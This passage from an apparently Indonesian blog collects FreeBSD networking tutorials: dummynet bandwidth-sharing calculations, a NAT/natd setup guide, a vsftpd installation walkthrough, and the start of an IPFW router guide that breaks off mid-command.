/>${fwcmd} pipe 1 config queue 4 bw ${bw_down_share01}<br />${fwcmd} pipe 2 config queue 4 bw ${bw_up_share01}WF2Q+ merupakan varian dari sistem quering policy, dan jangan lupa setelah di assign<br />via “queue” mesti terhubung ke “pipe”.<br /><br />Keterangan:<br /><br /><br />- queue [Dibagian rule : ${fwcmd} add 1 queue...] : Assign untuk rule WF2Q+.<br />- weight : Nilei pembanding flow quering (Bukan priority).<br />Default 1, allow [1 s/d 100].<br />- queue [Dibagian rule : ${fwcmd} queue 1 config weight 50 queue...] : Ukuran/jumlah dari “queue/slot” sbg pembanding<br />terhadap jumlah bandwidth. Default 50.<br />- queue [Dibagian rule : ${fwcmd} pipe 1 config queue...] : Ukuran/jumlah dari “queue/slot” sbg pembanding terhadap<br />jumlah bandwidth. Default 50<br />- pipe : Assign rule untuk ukuran bandwidth yg terkoneksi.<br />- mask dst-ip/src-ip : Digunakan untuk masking IP Address/subneting dan port. “dst-ip” digunakan untuk “downstream”,<br />“src-ip” digunakan untuk “upstream” dari sample rule diatas (Tergantung dari posisi IP client<br />/port). 0xffffffff adalah value subnet, sama dengan “0.0.0.0/0″ (Match all IP Address). Untuk<br />port default “0×0000″ artinya tidak menspesifikan/pembatasan port.Perhitungan:<br /><br />bw_perclient = (w_client / w_jumlah_) * bw_totalSample diatas perclient mempunyai weight masing2 50, total bw 128 Kbit/s. Katakanlah untuk host A bisa dikalkulasikan sbb:<br /><br />bw_host_A = (50 / (50*4)) * 128 Kbit/s<br />= (50 / 200) * 128 Kbit/s<br />= 32 Kbit/s<br /><br />Jika semua host aktif maka dummynet akan berusaha membagi rata sejumlah 32 Kbit/s per hostnya. Nah contoh diatas mempunyai weight yg sama besarnya, gimana kalo contohnya begini:<br /><br />w_host_A = 30<br />w_host_B = 50<br />w_host_C = 50<br />w_host_D = 50<br /><br />Maka bisa kita kalkulasikan bw yg didapat oleh host A dan host B sbb:<br /><br />bw_host_A = (30 / (30+50+50+50)) * 128 Kbit/s<br />= (30 / 180) * 128 Kbit/s<br />= 21.333 Kbit/s<br /><br />bw_host_B = (50 / (30+50+50+50)) * 128 Kbit/s<br />= (50 / 180) * 128 Kbit/s<br />= 35.55 Kbit/s<br /><br />Contoh lain:<br /><br />w_host_A = 10<br />w_host_B = 20<br />w_host_C = 30<br />w_host_D = 40<br /><br />bw_host_A = (10 / (10+20+30+40)) * 128 Kbit/s<br />= (10 / 100) * 128 Kbit/s<br />= 12.8 Kbit/s<br /><br />bw_host_B = (20 / (10+20+30+40)) * 128 Kbit/s<br />= (20 / 100) * 128 Kbit/s<br />= 25.6 Kbit/s<br /><br />Perhitungan “queue slot”. Dalam hal ini queue di rule diatas adalah 4, maka bisa dikalkulasikan:<br /><br />bw_perclient = bw_total/slot_queue<br /><br />Dari sample diatas bisa dihitung untuk host A sbb:<br /><br />bw_host_A = 128 Kbit/s / 4<br />= 32 Kbit/s<br /><br />Jika semua host aktif maka dummynet akan berusaha membagi rata bandwidth 32 Kbit/s per slot-nya (1 slot = 32 Kbit/s).<br /><br />IMHO, “queue slot” mendingan disesuaikan dengan jumlah client yg share, contoh diatas 1:4 berarti “queue slot”-nya 4.<br />Jika kita rubah misalnya “queue slot” menjadi 8 slot maka ada kemungkinan host A akan menggunakan lebih dari 1 slot,<br />artinya bisa cenderung ngerebut slot jatah host lain.<br /><br />Sample output:<br />root:~# uname -srnm<br />FreeBSD gw-core-introuter.kumprang.com 4.10-STABLE i386<br /><br />root:~# ipfw queue show<br />00001: 24.000 Kbit/s 0 ms 50 sl. 1 queues (1 buckets) droptail<br />mask: 0×00 0×00000000/0×0000 -> 0×00000000/0×0000<br />BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp<br />0 tcp 74.6.68.227/42040 202.146.228.9/80 5535 3192733 0 0 0<br />00002: 68.000 Kbit/s 0 ms 6 sl. 0 queues (1 buckets) droptail<br />mask: 0×00 0×00000000/0×0000 -> 0×00000000/0×0000<br />00003: 36.000 Kbit/s 0 ms 6 sl. 0 queues (1 buckets) droptail<br />mask: 0×00 0×00000000/0×0000 -> 0×00000000/0×0000<br />q00001: weight 50 pipe 2 6 sl. 6 queues (64 buckets) droptail<br />mask: 0×00 0×00000000/0×0000 -> 0xffffffff/0×0000<br />BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp<br />17 ip 0.0.0.0/0 192.168.1.1/0 81105 53885327 0 0 2960<br />26 ip 0.0.0.0/0 192.168.1.10/0 121939 96279102 0 0 3719<br />27 ip 0.0.0.0/0 192.168.1.11/0 134476 96276870 0 0 6141<br />28 ip 0.0.0.0/0 192.168.1.12/0 35325 17986730 0 0 1243<br />29 ip 0.0.0.0/0 192.168.1.13/0 43479 35034555 0 0 1247<br />34 ip 0.0.0.0/0 192.168.1.50/0 154963 152289033 0 0 8521<br />q00002: weight 50 pipe 3 6 sl. 6 queues (64 buckets) droptail<br />mask: 0×00 0xffffffff/0×0000 -> 0×00000000/0×0000<br />BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp<br />12 ip 192.168.1.50/0 0.0.0.0/0 128724 17526438 0 0 211<br />42 ip 192.168.1.1/0 0.0.0.0/0 71625 8097141 0 0 592<br />48 ip 192.168.1.12/0 0.0.0.0/0 28546 2747603 0 0 131<br />50 ip 192.168.1.13/0 0.0.0.0/0 32582 3594117 0 0 29<br />60 ip 192.168.1.10/0 0.0.0.0/0 102737 10325047 0 0 73<br />62 ip 192.168.1.11/0 0.0.0.0/0 89624 8851578 0 0 100<br /><br />Keterangan:<br />Kolom paling kanan pertanda paket yg sudah di-”drop”, uji gampangnya lihat saja jika kita download gede2an<br />(pake getright/flashget) pasti banyak yg didrop sesuai dengan perhitungan diatas. Dan silahkan coba download dengan<br />cara dilimit di client (pake getright/flashget misalnya) sesuei dengan perhitungan diatas, nah gimana hasilnya tuh :-) .<br /><br />Sistem kerjanya, andaikata host A menggunakan bandwidth melebihi kapasitas sharing bandwidth bedasarkan perhitungan<br />diatas dan host B pada saat bersamaan mulai ngeload bandwidth (katakanlah mulai ngeclick browser) maka host A akan<br />didrop secara random untuk memberikan kesempatan kepada host B sampai kedudukannya seimbang (katakanlah jika bandiwidth<br />128 Kbit/s maka host A akan mendapatkan 64 Kbit/s dan host B akan mendapatkan 64 Kbit/s), dan ketika host B tidak<br />ngeload bandwidth (idle) maka host A akan mendapatkan bandwidth 128 Kbit/s kembali.<br /></span>

Membagi Bandwidth Dengan FreeBSD

Mengapa butuh traffic shaping? Traffic shaping adalah untuk menghad sesuatu bandwidth mengikut konfigurasi anda. Contohnya, anda mempunyai 1...

Read more »

Network Address Translation (NAT): Cara lain menghemat IP Address

Misi awal Internet adalah sebagai jaringan komunikasi non-profit. Pada awalnya, Internet didesain tanpa memperhatikan dunia bisnis. Kemudian hal ini menjadi masalah sekarang dan di masa depan. Dengan semakin banyaknya penghuni Internet, baik pencari informasi maupun penyedia informasi, maka kebutuhan akan pengalamatan di Internet makin membengkak. Kebutuhan besar akan IP address biasanya terjadi di jaringan komputer perusahaan dan LAN-LAN di lembaga pendidikan.<br /><span class="fullpost"><br />IP address sebagai sarana pengalamatan di Internet semakin menjadi barang mewah dan ekslusif. Tidak sembarang orang sekarang ini bisa mendapatkan IP address yang valid dengan mudah. Oleh karena itulah dibutuhkan suatu mekanisme yang dapat menghemat IP address. Logika sederhana untuk penghematan IP address ialah dengan meng-share suatu nomor IP address valid ke beberapa client IP lainnya. Atau dengan kata lain beberapa komputer bisa mengakses Internet walau kita hanya memiliki satu IP address yang valid. Salah satu Mekanisme itu disediakan oleh Network Address Translation (NAT)<br /><br />Beberapa Konsep Dasar<br /><br />Sebelum kita membahas lebih lanjut ada baiknya kita urai kembali konsep-konsep dasar yang harus dipahami sebelum masuk ke NAT. Diantaranya adalah TCP/IP, Gateway/Router, dan Firewall.<br /><br />TCP/IP<br /><br />Protokol yang menjadi standar dan dipakai hampir oleh seluruh komunitas Internet adalah TCP/IP (Transmission Control Protocol/Internet Protocol). Agar komputer bisa berkomunikasi dengan komputer lainnya, maka menurut aturan TCP/IP, komputer tersebut harus memiliki suatu address yang unik. Alamat tersebut dinamakan IP address. IP Address memiliki format sbb: aaa.bbb.ccc.ddd. Contohnya: 167.205.19.33<br />Yang penting adalah bahwa untuk berkomunikasi di Internet, komputer harus memiliki IP address yang legal. Legal dalam hal ini artinya adalah bahwa alamat tersebut dikenali oleh semua router di dunia dan diketahui bahwa alamat tersebut tidak ada duplikatnya di tempat lain. IP address legal biasanya diperoleh dengan menghubungi InterNIC.<br />Suatu jaringan internal bisa saja menggunakan IP address sembarang. Namun untuk tersambung ke Internet, jaringan itu tetap harus menggunakan IP address legal. Jika masalah routing tidak dibereskan (tidak menggunakan IP address legal), maka saat sistem kita mengirim paket data ke sistem lain, sistem tujuan itu tidak akan bisa mengembalikan paket data tersebut, sehingga komunikasi tidak akan terjadi.<br />Dalam berkomunikasi di Internet/antar jaringan komputer dibutuhkan gateway/router sebagai jembatan yang menghubungkan simpul-simpul antar jaringan sehingga paket data bisa diantar sampai ke tujuan.<br /><br />Gateway/Router<br /><br />Gateway adalah komputer yang memiliki minimal 2 buah network interface untuk menghubungkan 2 buah jaringan atau lebih. Di Internet suatu alamat bisa ditempuh lewat gateway-gateway yang memberikan jalan/rute ke arah mana yang harus dilalui supaya paket data sampai ke tujuan. Kebanyakan gateway menjalankan routing daemon (program yang meng-update secara dinamis tabel routing). Karena itu gateway juga biasanya berfungsi sebagai router. Gateway/router bisa berbentuk Router box seperti yang di produksi Cisco, 3COM, dll atau bisa juga berupa komputer yang menjalankan Network Operating System plus routing daemon. Misalkan PC yang dipasang Unix FreeBSD dan menjalankan program Routed atau Gated. Namun dalam pemakaian Natd, routing daemon tidak perlu dijalankan, jadi cukup dipasang gateway saja.<br />Karena gateway/router mengatur lalu lintas paket data antar jaringan, maka di dalamnya bisa dipasangi mekanisme pembatasan atau pengamanan (filtering) paket-paket data. Mekanisme ini disebut Firewall.<br /><br />Firewall<br /><br />Sebenarnya Firewall adalah suatu program yang dijalankan di gateway/router yang bertugas memeriksa setiap paket data yang lewat kemudian membandingkannya dengan rule yang diterapkan dan akhirnya memutuskan apakah paket data tersebut boleh diteruskan atau ditolak. Tujuan dasarnya adalah sebagai security yang melindungi jaringan internal dari ancaman dari luar. Namun dalam tulisan ini Firewall digunakan sebagai basis untuk menjalankan Network Address Translation (NAT).<br />Dalam FreeBSD, program yang dijalankan sebagai Firewall adalah ipfw. Sebelum dapat menjalankan ipfw, kernel GENERIC harus dimodifikasi supaya mendukung fungsi firewall. Ipfw mengatur lalu lintas paket data berdasarkan IP asal, IP tujuan, nomor port, dan jenis protocol. Untuk menjalankan NAT, option IPDIVERT harus diaktifkan dalam kernel.<br /> <br />DIVERT (mekanisme diversi paket kernel)<br /><br />Socket divert sebenarnya sama saja dengan socket IP biasa, kecuali bahwa socket divert bisa di bind ke port divert khusus lewat bind system call. IP address dalam bind tidak diperhatikan, hanya nomor port-nya yang diperhatikan. Sebuah socket divert yang dibind ke port divert akan menerima semua paket yang didiversikan pada port tersebut oleh mekanisme di kernel yang dijalankan oleh implementasi filtering dan program ipfw. Mekanisme ini yang dimanfaatkan nantinya oleh Network Address Translator.<br />Itulah beberapa bahasan awal yang akan mengantar kita ke pembahasan inti selanjutnya.<br /><br />Network Address Translation (NAT)<br /><br />Dalam FreeBSD, mekanisme Network Address Translation (NAT) dijalankan oleh program Natd yang bekerja sebagai daemon. Network Address Translation Daemon (Natd) menyediakan solusi untuk permasalahan penghematan ini dengan cara menyembunyikan IP address jaringan internal, dengan membuat paket yang di-generate di dalam terlihat seolah-olah dihasilkan dari mesin yang memiliki IP address legal. Natd memberikan konektivitas ke dunia luar tanpa harus menggunakan IP address legal dalam jaringan internal.<br />Natd menyediakan fasilitas Network Address Translation untuk digunakan dengan socket divert. Natd mengubah semua paket yang ditujukan ke host lain sedemikian sehingga source IP addressnya berasal dari mesin Natd. Untuk setiap paket yang diubah berdasarkan aturan ini, dibuat tabel translasi untuk mencatat transaksi ini.<br />Dengan NAT, aturan bahwa untuk berkomunikasi harus menggunakan IP address legal, dilanggar.NAT bekerja dengan jalan mengkonversikan IP-IP address ke satu atau lebih IP address lain. IP address yang dikonversi adalah IP address yang diberikan untuk tiap mesin dalam jaringan internal (bisa sembarang IP). IP address yang menjadi hasil konversi terletak di luar jaringan internal tersebut dan merupakan IP address legal yang valid/routable.<br /><br />Mekanisme NAT<br /><br />Sebuah paket TCP terdiri dari header dan data. Header memiliki sejumlah field di dalamnya, salah satu field yang penting di sini adalah MAC (Media Access Control) address asal dan tujuan, IP address asal dan tujuan, dan nomor port asal dan tujuan.<br />Saat mesin A menghubungi mesin B, header paket berisi IP A sebagai IP address asal dan IP B sebagai IP address tujuan. Header ini juga berisi nomor port asal (biasanya dipilih oleh mesin pengirim dari sekumpulan nomor port) dan nomor port tujuan yang spesifik, misalnya port 80 (untuk web).<br />Kemudian B menerima paket pada port 80 dan memilih nomor port balasan untuk digunakan sebagai nomor port asal menggantikan port 80 tadi. Mesin B lalu membalik IP address asal & tujuan dan nomor port asal & tujuan dalam header paket. Sehingga keadaan sekarang IP B adalah IP address asal dan IP A adalah IP address tujuan. Kemudian B mengirim paket itu kembali ke A. Selama session terbuka, paket data hilir mudik menggunakan nomor port yang dipilih.<br />Router (yang biasa – tanpa Natd) memodifikasi field MAC address asal & tujuan dalam header ketika me-route paket yang melewatinya. IP address, nomor port, dan nomor sequence asal & tujuan tidak disentuh sama sekali.<br />NAT juga bekerja atas dasar ini. Dimulai dengan membuat tabel translasi internal untuk semua IP address jaringan internal yang mengirim paket melewatinya. Lalu men-set tabel nomor port yang akan digunakan oleh IP address yang valid. Ketika paket dari jaringan internal dikirim ke Natd untuk disampaikan keluar, Natd melakukan hal-hal sebagai berikut:<br />1. Mencatat IP address dan port asal dalam tabel translasi<br />2. Menggantikan nomor IP asal paket dengan nomor IP dirinya yang valid<br />3. Menetapkan nomor port khusus untuk paket yang dikirim keluar, memasukkannya dalam tabel translasi dan menggantikan nomor port asal tersebut dengan nomor port khusus ini.<br />Ketika paket balasan datang kembali, Natd mengecek nomor port tujuannya. Jika ini cocok dengan nomor port yang khusus telah ditetapkan sebelumnya, maka dia akan melihat tabel translasi dan mencari mesin mana di jaringan internal yang sesuai. Setelah ditemukan, ia akan menulis kembali nomor port dan IP address tujuan dengan IP address dan nomor port asal yang asli yang digunakan dulu untuk memulai koneksi. Lalu mengirim paket ini ke mesin di jaringan internal yang dituju. Natd memelihara isi tabel translasi selama koneksi masih terbuka.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF6N1jk1saDsvljSVHxCe3863OQ86dg5X6GeK6M4vLM3KaoYZt5gyXohKOogPchUY0TBtJ-CxZQJHYdYVHvZQnemHEw4ZwpXY6mt9gf9b4OMhL_5GVI0VofkQW_0G1Wvkk5-wcm3K_8y60/s1600-h/nat.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5441667824024051202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF6N1jk1saDsvljSVHxCe3863OQ86dg5X6GeK6M4vLM3KaoYZt5gyXohKOogPchUY0TBtJ-CxZQJHYdYVHvZQnemHEw4ZwpXY6mt9gf9b4OMhL_5GVI0VofkQW_0G1Wvkk5-wcm3K_8y60/s400/nat.jpg" style="cursor:pointer; cursor:hand;width: 400px; height: 289px;" /></a><br /><br />Perbedaan dengan sistem Proxy<br /><br />Hampir mirip dengan NAT, suatu jaringan kecil dengan proxy bisa menempatkan beberapa mesin untuk mengakses web dibelakang sebuah mesin yang memiliki IP address valid. Ini juga merupakan langkah penghematan biaya dibanding harus menyewa beberapa account dari ISP dan memasang modem & sambungan telepon pada tiap mesin.<br />Namun demikian, proxy server ini tidak sesuai untuk jaringan yang lebih besar. Bagaimanapun, menambah hard disk dan RAM pada server proxy supaya proxy berjalan efisien tidak selalu dapat dilakukan (karena constraint biaya). Lagi pula, persentase web page yang bisa dilayani oleh cache proxy akan makin menurun sejalan dengan semakin menipisnya ruang kosong di hard disk, sehingga penggunaan cache proxy menjadi tidak lebih baik dari pada sambungan langsung. Tambahan lagi, tiap koneksi bersamaan akan meng-generate proses tambahan dalam proxy. Tiap proses ini harus menggunakan disk I/O channel yang sama, dan saat disk I/O channel jenuh, maka terjadilah bottle neck.<br />NAT menawarkan solusi yang lebih fleksibel dan scalable. NAT menghilangkan keharusan mengkonfigurasi proxy/sock dalam tiap client. NAT lebih cepat dan mampu menangani trafik network untuk beribu-ribu user secara simultan.<br />Selain itu, translasi alamat yang diterapkan dalam NAT, membuat para cracker di Internet tidak mungkin menyerang langsung sistem-sistem di dalam jaringan internal. Intruder harus menyerang dan memperoleh akses ke mesin NAT dulu sebelum menyiapkan serangan ke mesin-mesin di jaringan internal. Penting di ketahui bahwa, sementara dengan NAT jaringan internal terproteksi, namun untuk masalah security, tetap saja diperlukan paket filtering dan metoda pengamanan lainnya dalam mesin NAT.<br /><br />Contoh Kasus Installasi Natd<br /><br />Sebuah perusahaan kecil memiliki sejumlah komputer dan sambungan ke Internet. Komputer-komputer itu saat ini telah membentuk suatu LAN. Sambungan Internet-nya diasumskan berupa dedicated T1 link<br /><br />Langkah-langkah yang harus dilakukan<br /><br />1. Installasi FreeBSD<br /><br />Sediakan satu komputer untuk dijadikan Gateway. Penulis menyarankan penggunaan FreeBSD RELEASE 2.2.6 (Natd hanya jalan di FreeBSD 2.2.1 ke atas), karena selain gratis juga requirement hardware-nya tidak terlalu boros. PC 486 dengan 16 MB memory dan HD 850 MB juga sudah cukup mewah.<br />Untuk mengetahui proses installasi FreeBSD, silahkan baca kembali tulisan-tulisan di Infokomputer sebelumnya dan manual FreeBSD sendiri.<br /><br />2. Installasi Gateway<br /><br />Pasang 2 network interface agar mesin ini menjadi gateway. Network Card (misal NE2000 atau 3COM) satu dihubungkan ke jaringan internal dan satu lagi untuk koneksi ke ISP. Misalnya dua-duanya NE2000 Compatible. maka nick untuk card yang menghadap ke dalam adalah ed0 dan untuk card yang menghadap keluar adalah ed1.<br />Pastikan juga option gateway = ”YES” tertulis dengan benar dalam file rc.conf. Atau bisa juga dengan mengetik perintah: sysctl -w net.inet.ip.forwarding=1<br /><br />3. Installasi Firewall<br /><br />Pasang IP firewall di mesin FreeBSD ini. Caranya adalah :<br /><br />a. Edit kernel source di /usr/src/sys/i386/conf<br />Tambahkan option-option berikut ini pada file kernel.<br /><br />options IPFIREWALL<br />options IPFIREWALL_VERBOSE<br />options “IPFIREWALL_VERBOSE_LIMIT=100”<br />options IPDIVERT<br /><br />b. Compile kernel tersebut<br />c. Aktifkan firewall di rc.conf dengan menambahkan<br /><br />firewall=”YES”<br />firewall_type=”OPEN”<br /><br />4. Installasi Natd<br /><br /> Langkah-langkahnya adalah sbb:<br />a. Download source nya di ftp://ftp.suutari.iki.fi/pub/natd<br />b. Unzip dan untar archive tersebut dengan perintah<br />gzip -dc natd_1.12.tar.gz | tar -xvf -<br />c. Lakukan make dan make install di direktori yang dihasilkan. Ketikkan perintah berikut:<br />cd natd_1.12<br />make<br />make install<br />d. Edit startup file supaya Natd berjalan secara otomatis<br />Buat file natd.sh di /usr/local/etc/rc.d. Isi file tersebut adalah<br /><br />#!/bin/sh<br /> /sbin/ipfw -f flush<br /> /sbin/ipfw add divert 13494 ip from any to any via ed0<br /> /sbin/ipfw add pass all from 127.0.0.1 to 127.0.0.1<br /> /sbin/ipfw add pass ip from any to any<br /> /usr/local/sbin/natd -port 13494 -interface ed0<br /><br />Arti dari file ini adalah:<br />v Hapuskan semua rule firewall<br />v Tambahkan feature divert di port 13494 (Anda bisa mengganti ini dengan port yang Anda inginkan) untuk mendiversi paket dari dan ke gateway lewat interface ed0<br />v Bolehkan semua paket lewat di atas local host<br />v Bolehkan semua paket IP lewat semua interface<br />v Jalankan Natd dengan menjadi daemon yang menunggu di port 13494 via interface ed0.<br /><br />e. Reboot mesin FreeBSD-nya supaya setting bisa diaktifkan.<br /><br />5. Konfigurasikan TCP/IP Client.<br /><br />Jadikan nomor IP card ed0 di FreeBSD sebagai gateway dari tiap workstation, IP tiap-tiap work station harus berada dalam network yang sama dengan card ed0 yang ada di mesin gateway. Misal ed0 di-beri nomor IP 192.168.1.1 dan ed1 167.205.19.5, maka workstation diberi nomor IP 192.168.1.2 s/d 192.168.1.14 jika digunakan mask 16 atau 255.255.255.240. ed1 adalah interface yang memiliki IP address valid.<br /><br />Setelah semuanya langkah-langkah di atas dijalankan dengan baik maka, applikasi Internet di client siap dijalankan via NAT.<br /><br />Untuk kasus lain misalnya sambungan ke Internet-nya menggunakan modem, maka mekanismenya sama saja, tinggal diganti interface di gateway yang menghadap keluar dengan interface modem (tun0) dan jalankan program ppp untuk men-dial ISP-nya. Khusus untuk dial-out, ppp sebenarnya memiliki mekanisme sendiri untuk kasus ini yaitu dengan option -alias. Jadi jika kita menjalankan ppp dengan option -alias maka kita tidak perlu menjalankan Natd, karena option ini menyediakan fasilitas yang sama dengan Natd khusus untuk dial-out.<br /><br />Natd hanyalah salah satu cara untuk menghemat persediaan IP address yang semakin menipis. Dengan adanya fakta bahwa untuk bergabung ke Internet, host pencari informasi (Client) sebenarnya tidak perlu memiliki IP address legal, maka IP address legal tersebut bisa dicadangkan untuk host-host penyedia informasi (Server). Penelitian untuk terus memperbaiki performansi Internet ini masih terus dikembangkan. Sekarang ini juga sedang dikembangkan model IP versi baru yaitu IP versi 6 (IPv6), yang bisa menampung lebih banyak lagi komputer-komputer di Internet. Namun demikian untuk kondisi sekarang, Natd masih merupakan solusi ampuh sebelum IPv6 diterapkan.<br /><br />Referensi :<br /><br />- Douba, Salim. Networking UNIX, The Complete Reference for UNIX networks. SAMS Publishing. 1995 . Unix Integration to WAN: Applied Computer Internetworking. CNRG ITB<br />- FreeBSD Handbook. FreeBSD Inc.<br /></span>

Network Address Translation (NAT): Cara lain menghemat IP Address

Misi awal Internet adalah sebagai jaringan komunikasi non-profit. Pada awalnya, Internet didesain tanpa memperhatikan dunia bisnis. Kemudia...

Read more »

Simple vsftpd

VSFTPD atau "Very Secure FTP Daemon" merupakan sebuah ftp server untuk UNIX-like systems dan juga linux. vsftpd disebut sebut sebagai sebuah ftp server yang secure dan cepat. Menurut pembuatnya, Chris Evans, seorang ahli keamanan jaringan, vsftpd merupakan server FTP yang stabil. Selain itu, vsftpd dikembangkan di bawah licensi GNU.<br /><span class="fullpost"><br />Berikut beberapa Fitur vsftpd<br /><br /> * Virtual IP configurations<br /> * Virtual users<br /> * Standalone or inetd operation<br /> * Powerful per-user configurability<br /> * Bandwidth throttling<br /> * Per-source-IP configurability<br /> * Per-source-IP limits<br /> * IPv6<br /> * Encryption support through SSL integration<br /> * dsb<br /><br />Ada beberapa alasan kenapa anda harus mencoba vsftpd<br /><br /> 1. Sekuriti<br /> 2. Performance<br /> 3. Kestabilan<br /><br />Beberapa situs ternama termasuk situs FreeBSD menggunakan vsftpd, hal ini berdasarkan data dari situs http://vsftpd.beasts.org/ Data pada Juni 2004 menyebutkan bahwa beberapa site di bawah ini menggunakan vsftpd.<br /><br /> * ftp.redhat.com<br /> * ftp.suse.com<br /> * ftp.debian.org<br /> * ftp.openbsd.org<br /> * ftp.freebsd.org<br /> * ftp.gnu.org<br /> * ftp.gnome.org<br /> * ftp.kde.org<br /> * ftp.kernel.org<br /> * rpmfind.net<br /> * ftp.linux.org.uk<br /> * ftp.gimp.org<br /> * ftp-stud.fht-esslingen.de<br /> * gd.tuwien.ac.at<br /> * ftp.sunet.se<br /> * ftp.ximian.com<br /> * ftp.engardelinux.org<br /> * ftp.sunsite.org.uk<br /> * ftp.isc.org<br /><br />So tunggu apa lagi, tidak ada alasan untuk tidak mencoba vsftpd sebagai FTP server anda.<br /><br />Berikut ini tahapan singkat untuk memulai mencoba vsftpd.<br /><br />Langkah pertama, login ke server freebsd anda sebagai root.<br /><br />login as: ogeb<br />Using keyboard-interactive authentication.<br />Password: *******<br /><br />indofreebsd#<br /><br />Selanjutnya kita cari ports database pada koleksi ports kita.<br /><br />indofreebsd# cd /usr/ports/<br /><br />indofreebsd# make search name=vsftpd<br />Port: vsftpd-2.0.5<br />Path: /usr/ports/ftp/vsftpd<br />Info: A FTP daemon that aims to be "very secure"<br />Maint: dinoex@FreeBSD.org This e-mail address is being protected from spambots. You need JavaScript enabled to view it<br />B-deps:<br />R-deps:<br />WWW: http://vsftpd.beasts.org/<br /><br />Kita install nyok vsftpd nya. kita lakukan installasi vsftpd sederhana dulu untuk perkenalan.<br /><br />indofreebsd# cd /usr/ports/ftp/vsftpd<br /><br />indofreebsd# make install clean<br /><br />Options for vsftpd 2.0.6 <br />[ ] RC_NG install RC_NG script<br />[ ] VSFTPD_SSL Include support for SSL <br />[ OK ] Cancel<br /><br />tab ke OK lalu enter.<br /><br />Wow sekali lagi kita telah dimanjakan oleh ports, maka berbahagialah.<br /><br />===> Compressing manual pages for vsftpd-2.0.6<br />===> Registering installation for vsftpd-2.0.6<br />===> SECURITY REPORT:<br /> This port has installed the following files which may act as network<br /> servers and may therefore pose a remote security risk to the system.<br />/usr/local/libexec/vsftpd<br /><br /> If there are vulnerabilities in these programs there may be a security<br /> risk to the system. FreeBSD makes no guarantee about the security of<br /> ports included in the Ports Collection. Please type 'make deinstall'<br /> to deinstall the port if this is a concern.<br /><br /> For more information, and contact details about the security<br /> status of this software, see the following webpage: <br />http://vsftpd.beasts.org/<br /><br />Lalu mulai lah edit konfigurasi vsftpd.conf nya<br /><br />indofreebsd# nano /usr/local/etc/vsftpd.conf<br /><br />background=YES<br />listen=YES<br />anonymous_enable=NO<br />local_enable=YES<br />write_enable=YES<br />local_umask=022<br />dirmessage_enable=YES<br />xferlog_enable=YES<br />connect_from_port_20=YES<br />nopriv_user=vsftpd<br />chroot_local_user=YES<br />pam_service_name=vsftpd<br />guest_enable=YES<br />guest_username=vsftpd<br />local_root=/home/$USER<br />user_sub_token=$USER<br />virtual_use_local_privs=YES<br />secure_chroot_dir=/usr/local/share/vsftpd/empty<br /><br />Kemudian edt bagian rc.conf masukan baris di bawah ini pada rc.conf anda.<br /><br />vsftpd_enable="YES"<br /><br />lalu adduser vsftpd <br /><br />pw adduser vsftpd<br /><br />Jalankan vsftpd server anda dengan mengetikan perintah.<br /><br />indofreebsd# /usr/local/etc/vsftpd.sh start<br />Starting vsftpd.<br /><br />Akhirnya kita mempunyai ftp server. Ayo test ftp server kita...!!!<br /><br />C:\>ftp movie.indofreebsd.or.id<br />Connected to movie.indofreebsd.or.id.<br />220 (vsFTPd 2.0.7)<br />User (movie.indofreebsd.or.id:(none)): ogeb<br />331 Please specify the password.<br />Password:<br />230 Login successful.<br />ftp> ls -al<br />200 PORT command successful. Consider using PASV.<br />150 Here comes the directory listing.<br />drwxr-xr-x 2 1002 0 512 Aug 28 04:46 .<br />drwxr-xr-x 2 1002 0 512 Aug 28 04:46 ..<br />-rw-r--r-- 1 1002 0 751 Jul 23 07:03 .cshrc<br />-rw-r--r-- 1 1002 0 248 Jul 23 07:03 .login<br />-rw-r--r-- 1 1002 0 158 Jul 23 07:03 .login_conf<br />-rw------- 1 1002 0 373 Jul 23 07:03 .mail_aliases<br />-rw-r--r-- 1 1002 0 331 Jul 23 07:03 .mailrc<br />-rw-r--r-- 1 1002 0 766 Jul 23 07:03 .profile<br />-rw------- 1 1002 0 276 Jul 23 07:03 .rhosts<br />-rw-r--r-- 1 1002 0 975 Jul 23 07:03 .shrc<br />-rw-r--r-- 1 1002 0 8225342 Aug 28 04:46 aa.tar.gz<br />-rw------- 1 1002 0 8141 Jul 25 16:54 logo.gif<br />-rw------- 1 1002 0 6110 Jul 25 21:48 logomes<br />226 Directory send OK.<br />ftp: 844 bytes received in 0.01Seconds 56.27Kbytes/sec.<br />ftp><br /><br />Sampe di sini kita udah selesai menginstalasi vsftpd sebagai ftp server kita. Semoga berhasil,<br /></span>

Simple vsftpd

VSFTPD atau "Very Secure FTP Daemon" merupakan sebuah ftp server untuk UNIX-like systems dan juga linux. vsftpd disebut sebut seba...

Read more »

Membangun Router Sederhana di FreeBSD menggunakan IPFW

Bagi anda yang pemula di Dunia Networking mungkin belum mengetahui apa itu definisi ROUTER?<br /><br />Router Adalah Sebuah Sistem yang digunakan untuk menghubungkan jaringan-jaringan. Perangkat yang berfungsi dalam komunikasi WAN atau menghubungkan dua network yang berbeda. Menempati layer 3 pada sistem layering OSI ( network) sehingga memiliki kemampuan routing atau pengalamatan paket data baik secara static atau dinamik<br /><span class="fullpost"><br />Sebuah komputer atau paket software yang dikhususkan untuk menangani koneksi antara dua atau lebih network yang terhubung melalui packet switching. Router bekerja dengan melihat alamat tujuan dan alamat asal dari paket data yang melewatinya dan memutuskan rute yang harus digunakan oleh paket data tersebut untuk sampai ke tujuan.<br /><br />Disini Penulis membahas Router dalam Kategory Software yaitu dengan menggunakan OS FreeBSD 6.2, dalam OS ini (FREEBSD) ada sejumlah aplikasi yang di gunakan untuk apliaksi gateway/router, contohnya: IPFW, PF dan lain lain.<br /><br />Nah dalam tutorial kali ini kita akan menggunakan Aplikasi IPFW untuk membuat router sederhana.<br /><br />Langkah - langkahnya adalah sebagai berikut :<br /><br /> 1. Siapkan secangkir Kopi dan sebungkus Rokok Kesukaan saya yaitu CLassMild, hehehheh.<br /> 2. Asumsi bahwa anda telah sukses menginstall SO FreeBSD di Komputer Router anda dengan 2 Network Interface.<br /> 3. Langkah2 settingnya adalah sbb :<br /><br /><br /> * masuk ke directory kernel<br /> #cd 